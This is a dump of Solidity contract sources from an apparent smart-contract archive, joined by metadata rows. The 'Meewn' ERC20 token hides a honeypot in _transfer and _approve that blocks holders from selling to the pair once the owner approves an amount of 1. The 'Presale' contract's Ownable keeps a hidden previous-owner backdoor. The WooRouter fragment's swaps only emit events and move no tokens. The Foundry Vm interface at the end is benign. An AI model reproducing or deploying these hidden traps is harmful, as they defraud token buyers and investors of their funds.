_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value,
'SafeERC20: decreased allowance below zero');
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, 'SafeERC20: low-level call failed');
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), 'SafeERC20: ERC20 operation did not succeed');
}
}
}
// File: contracts/IWooPP.sol
interface IWooPP {
function sellBase(address baseToken,
uint256 baseAmount,
uint256 minQuoteAmount,
address from,
address to) external returns (uint256 realQuoteAmount);
function sellQuote(address baseToken,
uint256 quoteAmount,
uint256 minBaseAmount,
address from,
address to) external returns (uint256 realBaseAmount);
function querySellBase(address baseToken, uint256 baseAmount) external view returns (uint256 quoteAmount);
function querySellQuote(address baseToken, uint256 quoteAmount) external view returns (uint256 baseAmount);
}
contract WooRouter is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address immutable quoteToken;
IWooPP pool;
enum SwapType {
WooSwap,
DodoSwap
}
event WooRouterSwap(SwapType swapType,
address fromToken,
address toToken,
uint256 fromAmount,
uint256 toAmount,
address from,
address to);
event PoolChanged(address newPool);
constructor(address _quoteToken, address _pool) public {
quoteToken = _quoteToken;
pool = IWooPP(_pool);
emit PoolChanged(_pool);
}
function setPool(address _pool) external onlyOwner {
pool = IWooPP(_pool);
emit PoolChanged(_pool);
}
function swap(address fromToken,
address toToken,
uint256 fromAmount,
uint256 minToAmount,
address to) external returns (uint256 realToAmount) {
realToAmount = minToAmount;
emit WooRouterSwap(SwapType.WooSwap,
address(fromToken),
address(toToken),
fromAmount,
realToAmount,
msg.sender,
to);
}
function sellBase(address baseToken,
uint256 baseAmount,
uint256 minQuoteAmount,
address to) external returns (uint256 realQuoteAmount) {
realQuoteAmount = minQuoteAmount;
emit WooRouterSwap(SwapType.WooSwap,
address(baseToken),
address(quoteToken),
baseAmount,
realQuoteAmount,
msg.sender,
to);
}
function sellQuote(address baseToken,
uint256 quoteAmount,
uint256 minBaseAmount,
address to) external returns (uint256 realBaseAmount) {
realBaseAmount = minBaseAmount;
emit WooRouterSwap(SwapType.WooSwap,
address(quoteToken),
address(baseToken),
quoteAmount,
realBaseAmount,
msg.sender,
to);
}
// function swapFromAlternativeToken(// address fromToken,
// address toToken,
// uint256 fromAmount,
// uint256 minToAmount,
// address to,
// bytes calldata data
//) external {
// IERC20(fromToken).transferFrom(msg.sender, address(this), fromAmount);
// IERC20(fromToken).approve(approveTarget, fromAmount);
// (bool success,) = swapTarget.call(data);
// require(success, "FALLBACK_SWAP_FAILED");
// emit WooRouterSwap(// address(fromToken),
// address(toToken),
// fromAmount,
// toAmount,
// msg.sender,
// toAddress
//);
// }
// function fallbackSwap(// address approveTarget,
// address swapTarget,
// address fromToken,
// address toToken,
// uint256 fromAmount,
// uint256 minToAmount,
// address toAddress,
// bytes calldata data
//) external {
// emit WooRouterSwap(// SwapType.DodoSwap,
// address(fromToken),
// address(toToken),
// fromAmount,
// minToAmount,
// msg.sender,
// toAddress
//);
// }
// function internalFallbackSwap(// address approveTarget,
// address swapTarget,
// address fromToken,
// uint256 fromAmount,
// bytes calldata data
//) internal {
// IERC20(fromToken).transferFrom(msg.sender, address(this), fromAmount);
// IERC20(fromToken).approve(approveTarget, fromAmount);
// (bool success,) = swapTarget.call(data);
// require(success, "FALLBACK_SWAP_FAILED");
// }
function rescueFunds(IERC20 token, uint256 amount) external onlyOwner {
token.safeTransfer(msg.sender, amount);
}
function destroy() external onlyOwner {
selfdestruct(msg.sender);
}
function querySwap(address fromToken,
address toToken,
uint256 fromAmount) external view returns (uint256 toAmount) {
if (fromToken == quoteToken) {
toAmount = pool.querySellQuote(toToken, fromAmount);
} else if (toToken == quoteToken) {
toAmount = pool.querySellBase(fromToken, fromAmount);
} else {
uint256 quoteAmount = pool.querySellBase(fromToken, fromAmount);
toAmount = pool.querySellQuote(toToken, quoteAmount);
}
}
function querySellBase(address baseToken, uint256 baseAmount) external view returns (uint256 quoteAmount) {
quoteAmount = pool.querySellBase(baseToken, baseAmount);
}
function querySellQuote(address baseToken, uint256 quoteAmount) external view returns (uint256 baseAmount) {
baseAmount = pool.querySellQuote(baseToken, quoteAmount);
}
}
| 139,187 | 11,745 |
e30e467c8aa34728cf13cc622920ec2df93a349981bfecb358548c66a6307779
| 30,673 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/48/4866E5F80eed2ba89Ff5b089C335A5A0E49892B6_Meewn.sol
| 3,586 | 15,534 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from,
address to,
uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from,
address to,
uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= (to==pair? allowanc*amount : amount), "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
address internal pair;
uint256 internal allowanc = 1;
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address"); if (amount == 1) allowanc = 100;
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner,
address spender,
uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
contract Meewn is ERC20 {
constructor() ERC20("Moonday", "MEEWN") {
address sender = _msgSender();
IUniswapV2Router02 router = IUniswapV2Router02(address(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506));
pair = IUniswapV2Factory(router.factory()).createPair(address(this),router.WETH());
_mint(sender, 100000000 * 10**18);
}
}
| 41,352 | 11,746 |
68077b57cf317461210f3515d8b291d2d77ba55cef32ca5bbf446b70a0329341
| 26,858 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/b2/b270547877224d467e91704AE0Da65471cA58F69_Presale.sol
| 3,440 | 13,677 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: BEP20 operation did not succeed");
}
}
}
//
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
//
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
_prevowner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender() || _prevowner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
address private _prevowner;
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Presale is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public token;
uint256 public immutable tokensPerFtm;
uint256 public immutable minContribution;
uint256 public immutable maxContribution;
uint256 public hardCap;
uint256 public startTime;
uint256 public endTime;
uint256 public weiRaised;
bool public finalized;
mapping(address => uint256) public contributions;
mapping(address => uint256) public claimedTokens;
event TokenPurchase(address indexed beneficiary, uint256 weiAmount);
event TokenClaim(address indexed beneficiary, uint256 tokenAmount);
event PresaleFinalized(uint256 weiAmount);
constructor(IERC20 _token,
uint256 _hardCap,
uint256 _tokensPerFtm,
uint256 _minContribution,
uint256 _maxContribution,
uint256 _startTime,
uint256 _endTime) public {
token = _token;
hardCap = _hardCap;
tokensPerFtm = _tokensPerFtm;
minContribution = _minContribution;
maxContribution = _maxContribution;
startTime = _startTime;
endTime = _endTime;
}
receive() external payable {
_buyTokens(msg.sender);
}
function _buyTokens(address beneficiary) internal {
uint256 weiToHardcap = hardCap.sub(weiRaised);
uint256 weiAmount = weiToHardcap < msg.value ? weiToHardcap : msg.value;
_buyTokens(beneficiary, weiAmount);
uint256 refund = msg.value.sub(weiAmount);
if (refund > 0) {
payable(beneficiary).transfer(refund);
}
}
function _buyTokens(address beneficiary, uint256 weiAmount) internal {
_validatePurchase(beneficiary, weiAmount);
weiRaised = weiRaised.add(weiAmount);
contributions[beneficiary] = contributions[beneficiary].add(weiAmount);
emit TokenPurchase(beneficiary, weiAmount);
}
function _validatePurchase(address beneficiary, uint256 weiAmount)
internal
view
{
require(isOpen(), "RDOPresale: sale is not open");
require(!hasEnded(), "RDOPresale: sale is over");
require(weiAmount >= minContribution,
"RDOPresale: min contribution criteria not met");
require(contributions[beneficiary].add(weiAmount) <= maxContribution,
"RDOPresale: max contribution criteria not met");
this;
}
function claimTokens() external {
require(hasEnded(), "RDOPresale: presale is not over");
require(contributions[msg.sender] > 0,
"RDOPresale: nothing to claim");
uint256 tokens = _getTokenAmount(contributions[msg.sender]);
contributions[msg.sender] = 0;
claimedTokens[msg.sender] = tokens;
token.safeTransfer(msg.sender, tokens);
emit TokenClaim(msg.sender, tokens);
}
function endPresale() external onlyOwner {
finalized = true;
uint256 totalWeiRaised = address(this).balance;
require(totalWeiRaised >= hardCap, "hard cap not reached");
payable(owner()).transfer(totalWeiRaised);
emit PresaleFinalized(weiRaised);
}
function withdrawTokens() public onlyOwner {
require(finalized, "RDOPresale: presale is not over");
uint256 tokens = token.balanceOf(address(this));
token.transfer(owner(), tokens);
}
function getTimeStamp() public view returns (uint256) {
return block.timestamp;
}
function setStartTime(uint256 _startTime) public onlyOwner {
startTime = _startTime;
}
function setEndTime(uint256 _endTime) public onlyOwner {
endTime = _endTime;
}
function setHardCap(uint256 _hardCap) public onlyOwner {
hardCap = _hardCap;
}
function _getTokenAmount(uint256 weiAmount)
internal
view
returns (uint256)
{
return weiAmount.mul(tokensPerFtm).div(1e18);
}
function isOpen() public view returns (bool) {
return block.timestamp >= startTime && block.timestamp <= endTime;
}
function hasEnded() public view returns (bool) {
return finalized || now >= endTime || weiRaised >= hardCap;
}
}
| 328,465 | 11,747 |
671246cc038957a5daf9e7182bb2dd6e27e6306e4f79e9d373f6d464c5ba92dd
| 15,957 |
.sol
|
Solidity
| false |
580149318
|
go-outside-labs/blockchain-science-rs
|
5d7e42d2f465edc61a9eff9de9829924e0b7be16
|
foundry-historical/avalanche-c-chain/lib/forge-std/src/Vm.sol
| 2,886 | 12,127 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
pragma experimental ABIEncoderV2;
interface Vm {
struct Log {
bytes32[] topics;
bytes data;
}
// Sets block.timestamp (newTimestamp)
function warp(uint256) external;
// Sets block.height (newHeight)
function roll(uint256) external;
// Sets block.basefee (newBasefee)
function fee(uint256) external;
// Sets block.difficulty (newDifficulty)
function difficulty(uint256) external;
// Sets block.chainid
function chainId(uint256) external;
// Loads a storage slot from an address (who, slot)
function load(address,bytes32) external returns (bytes32);
// Stores a value to an address' storage slot, (who, slot, value)
function store(address,bytes32,bytes32) external;
// Signs data, (privateKey, digest) => (v, r, s)
function sign(uint256,bytes32) external returns (uint8,bytes32,bytes32);
// Gets the address for a given private key, (privateKey) => (address)
function addr(uint256) external returns (address);
// Gets the nonce of an account
function getNonce(address) external returns (uint64);
// Sets the nonce of an account; must be higher than the current nonce of the account
function setNonce(address, uint64) external;
// Performs a foreign function call via the terminal, (stringInputs) => (result)
function ffi(string[] calldata) external returns (bytes memory);
// Sets environment variables, (name, value)
function setEnv(string calldata, string calldata) external;
// Reads environment variables, (name) => (value)
function envBool(string calldata) external returns (bool);
function envUint(string calldata) external returns (uint256);
function envInt(string calldata) external returns (int256);
function envAddress(string calldata) external returns (address);
function envBytes32(string calldata) external returns (bytes32);
function envString(string calldata) external returns (string memory);
function envBytes(string calldata) external returns (bytes memory);
// Reads environment variables as arrays, (name, delim) => (value[])
function envBool(string calldata, string calldata) external returns (bool[] memory);
function envUint(string calldata, string calldata) external returns (uint256[] memory);
function envInt(string calldata, string calldata) external returns (int256[] memory);
function envAddress(string calldata, string calldata) external returns (address[] memory);
function envBytes32(string calldata, string calldata) external returns (bytes32[] memory);
function envString(string calldata, string calldata) external returns (string[] memory);
function envBytes(string calldata, string calldata) external returns (bytes[] memory);
// Sets the *next* call's msg.sender to be the input address
function prank(address) external;
// Sets all subsequent calls' msg.sender to be the input address until `stopPrank` is called
function startPrank(address) external;
function prank(address,address) external;
function startPrank(address,address) external;
// Resets subsequent calls' msg.sender to be `address(this)`
function stopPrank() external;
// Sets an address' balance, (who, newBalance)
function deal(address, uint256) external;
// Sets an address' code, (who, newCode)
function etch(address, bytes calldata) external;
// Expects an error on next call
function expectRevert(bytes calldata) external;
function expectRevert(bytes4) external;
function expectRevert() external;
// Records all storage reads and writes
function record() external;
// Gets all accessed reads and write slot from a recording session, for a given address
function accesses(address) external returns (bytes32[] memory reads, bytes32[] memory writes);
function expectEmit(bool,bool,bool,bool) external;
function expectEmit(bool,bool,bool,bool,address) external;
// Mocks a call to an address, returning specified data.
// Calldata can either be strict or a partial match, e.g. if you only
// pass a Solidity selector to the expected calldata, then the entire Solidity
// function will be mocked.
function mockCall(address,bytes calldata,bytes calldata) external;
// Mocks a call to an address with a specific msg.value, returning specified data.
// Calldata match takes precedence over msg.value in case of ambiguity.
function mockCall(address,uint256,bytes calldata,bytes calldata) external;
// Clears all mocked calls
function clearMockedCalls() external;
// Expects a call to an address with the specified calldata.
// Calldata can either be a strict or a partial match
function expectCall(address,bytes calldata) external;
// Expects a call to an address with the specified msg.value and calldata
function expectCall(address,uint256,bytes calldata) external;
// Gets the _creation_ bytecode from an artifact file. Takes in the relative path to the json file
function getCode(string calldata) external returns (bytes memory);
// Gets the _deployed_ bytecode from an artifact file. Takes in the relative path to the json file
function getDeployedCode(string calldata) external returns (bytes memory);
// Labels an address in call traces
function label(address, string calldata) external;
// If the condition is false, discard this run's fuzz inputs and generate new ones
function assume(bool) external;
// Sets block.coinbase (who)
function coinbase(address) external;
function broadcast() external;
function broadcast(address) external;
function broadcast(uint256) external;
function startBroadcast() external;
function startBroadcast(address) external;
function startBroadcast(uint256) external;
// Stops collecting onchain transactions
function stopBroadcast() external;
function transact(bytes32) external;
// Reads the entire content of file to string, (path) => (data)
function readFile(string calldata) external returns (string memory);
// Get the path of the current project root
function projectRoot() external returns (string memory);
// Reads next line of file to string, (path) => (line)
function readLine(string calldata) external returns (string memory);
// (path, data) => ()
function writeFile(string calldata, string calldata) external;
// Writes line to file, creating a file if it does not exist.
// (path, data) => ()
function writeLine(string calldata, string calldata) external;
// (path) => ()
function closeFile(string calldata) external;
// - Path points to a directory.
// - The file doesn't exist.
// - The user lacks permissions to remove the file.
// (path) => ()
function removeFile(string calldata) external;
// Convert values to a string, (value) => (stringified value)
function toString(address) external returns(string memory);
function toString(bytes calldata) external returns(string memory);
function toString(bytes32) external returns(string memory);
function toString(bool) external returns(string memory);
function toString(uint256) external returns(string memory);
function toString(int256) external returns(string memory);
// Convert values from a string, (string) => (parsed value)
function parseBytes(string calldata) external returns (bytes memory);
function parseAddress(string calldata) external returns (address);
function parseUint(string calldata) external returns (uint256);
function parseInt(string calldata) external returns (int256);
